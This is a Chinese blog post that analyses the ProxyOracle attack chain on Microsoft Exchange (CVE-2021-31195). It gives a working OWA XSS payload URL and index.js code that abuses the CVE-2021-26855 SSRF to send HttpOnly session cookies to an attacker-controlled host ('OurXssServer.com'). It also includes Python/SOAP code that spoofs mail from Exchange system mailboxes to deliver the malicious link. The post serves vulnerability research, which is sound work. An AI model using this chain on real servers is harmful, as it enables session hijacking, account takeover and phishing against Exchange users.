ProxyOracle 利用分析1——CVE-2021-31195

发布于 2025-01-21 02:30:32 字数 6220 浏览 0 评论 0

0x00 前言

我和 Evi1cg 一起复现了 ProxyOracle 攻击链,本文仅在技术研究的角度记录研究 ProxyOracle 中的细节,分析利用思路。

0x01 简介

本文将要介绍以下内容:

  • XSS 复现
  • HttpOnly 绕过
  • XSS 平台搭建
  • 伪造邮件

0x02 XSS 复现

测试环境:

  • Exchange Server IP: 192.168.1.1

用户登录后访问如下链接:

https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.cookie)//

触发 XSS,如下图

Alt text

但是这里无法显示我们想要的 Cookie 数据,具体名称如下:

  • cadata
  • cadataTTL
  • cadataKey
  • cadataIV
  • cadataSig

查看以上 Cookie 的 HttpOnly 属性,如下图

Alt text

可以看到以上 Cookie 设置了 HttpOnly 属性,可用来防止 XSS 攻击,通过 js 脚本将无法读取到 Cookie 信息

0x03 HttpOnly 绕过

为了能够读取受 HttpOnly 属性保护的 Cookie 信息,我们需要借助 SSRF 漏洞,控制 Exchange 服务器将 Cookie 信息发送至我们自己搭建的 XSS 平台

这里需要注意以下细节:

1.SSRF 漏洞的选择

(1)CVE-2021-26855

能够访问外部 XSS 平台,能够使用 ajax 模拟用户发包触发 SSRF 漏洞

(2)CVE-2021-28480

能够访问外部 XSS 平台,无法使用 ajax 模拟用户发包触发 SSRF 漏洞(无法修改 Cookie 中的 X-BackEndCookie)

(3)CVE-2021-34473

无法访问外部 XSS 平台,因此,最终的选择为 CVE-2021-26855

2.XSS 平台搭建

由于我们借助了 SSRF 漏洞,控制 Exchange 服务器将 Cookie 信息发送至 XSS 平台,导致我们最终想要的 Cookie 信息位于 Request Headers 中

而现有的 XSS 平台大都是通过 POST 请求的参数来传递数据

为了解决这个问题,这里可以选择我之前开源的 XSS 平台,地址如下:https://github.com/3gstudent/pyXSSPlatform

只需要修改以下位置:

  • 修改 index.js,使用 ajax 模拟用户发包触发 SSRF 漏洞
  • 修改 pyXSSPlatform.py,将 GET 请求的 Request Headers 进行提取
  • 使用合法的证书

index.js 代码示例:

var xmlHttp = new XMLHttpRequest();
xmlhttp.open("GET", "https://192.168.1.1/owa/auth/x.js", false);
document.cookie = "X-AnonResource=true";
document.cookie = "X-AnonResource-Backend=OurXssServer.com/#~1";
xmlhttp.send();

3.XSS 利用代码

控制用户访问 XSS 平台的代码示例:

https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.head.appendChild(document.createElement(/script/.source)).src=/https:\/\/OurXssServer.com\/index.js/.source//

0x04 伪造邮件

1.伪造成 Exchange 的默认用户

在之前的文章《ProxyShell 利用分析 1——CVE-2021-34473》中提到:通过 CVE-2021-34473,我们可以模拟成任意用户身份进行 EWS 调用操作

并且,Exchange 中默认存在以下四个用户可供使用:

  • SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}
  • SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}
  • SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later)
  • SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later)

结合以上信息,我们可以模拟成 Exchange 的默认用户来发送邮件,对应名称如下:

  • SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}:Microsoft Exchange
  • SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}:Microsoft Exchange
  • SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later):E4E Encryption Store - Active
  • SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later):Microsoft Exchange

2.通过 EWS 发送超链接

格式参考:https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createitem-operation-email-message

但是我没有找到通过 EWS 发送超链接的格式

这里我是通过抓包的方式获得了正确的 SOAP 格式,方法可参考之前的文章 《渗透基础——通过 Outlook Web Access(OWA) 读取 Exchange 邮件的命令行实现》 %E8%AF%BB%E5%8F%96Exchange%E9%82%AE%E4%BB%B6%E7%9A%84%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%AE%9E%E7%8E%B0)

需要注意以下部分:

  • 使用 CreateItem 发送邮件
  • SendOnly 表示只发送邮件,不保存
  • BodyType 需要设置为 HTML
  • 正文内容需要注意 XML 的转义字符

Python 示例代码如下:

def escape(_str):
    _str = _str.replace("&", "&")
    _str = _str.replace("<", "&lt;")
    _str = _str.replace(">", "&gt;")
    _str = _str.replace("\"", "&quot;")
    return _str

linkData = "Click here"
linkURL = "https://test.com"
payload = "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"><style type=\"text/css\" style=\"display:none;\"><!-- P {margin-top:0;margin-bottom:0;} --></style></head><body dir=\"ltr\"><div id=\"divtagdefaultwrapper\" style=\"font-size:12pt;color:#000000;font-family:Calibri,Helvetica,sans-serif;\" dir=\"ltr\"><p><a href=\"" + linkURL + "\" class=\"OWAAutoLink\">" + linkData + "</a></p></div></body></html>"

POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages"
  xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
  <soap:Body>
    <m:CreateItem MessageDisposition="SendOnly">
      <m:Items>
        <t:Message>
          <t:Subject>Test Subject</t:Subject>
          <t:Body BodyType="HTML">{payload}</t:Body>
          <t:ToRecipients>
            <t:Mailbox>
              <t:EmailAddress>{mailuserTo}</t:EmailAddress>
              </t:Mailbox>
          </t:ToRecipients>
        </t:Message>
      </m:Items>
    </m:CreateItem>
  </soap:Body>
</soap:Envelope>
'''

POST_BODY = POST_BODY.format(payload = escape(payload), mailuserTo = "test2@test.com")

0x05 小结

对于 CVE-2021-31195,不仅可以用来获得用户的 Cookie 信息,同样可以使用其他 XSS 的利用方法,例如截取屏幕和模拟用户发包修改收件箱访问权限。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

避讳

暂无简介

文章
评论
25 人气
更多

推荐作者

白云不回头

文章 0 评论 0

糖粟与秋泊

文章 0 评论 0

洋豆豆

文章 0 评论 0

泛滥成性

文章 0 评论 0

mb_2YvjCLvt

文章 0 评论 0

夜光

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文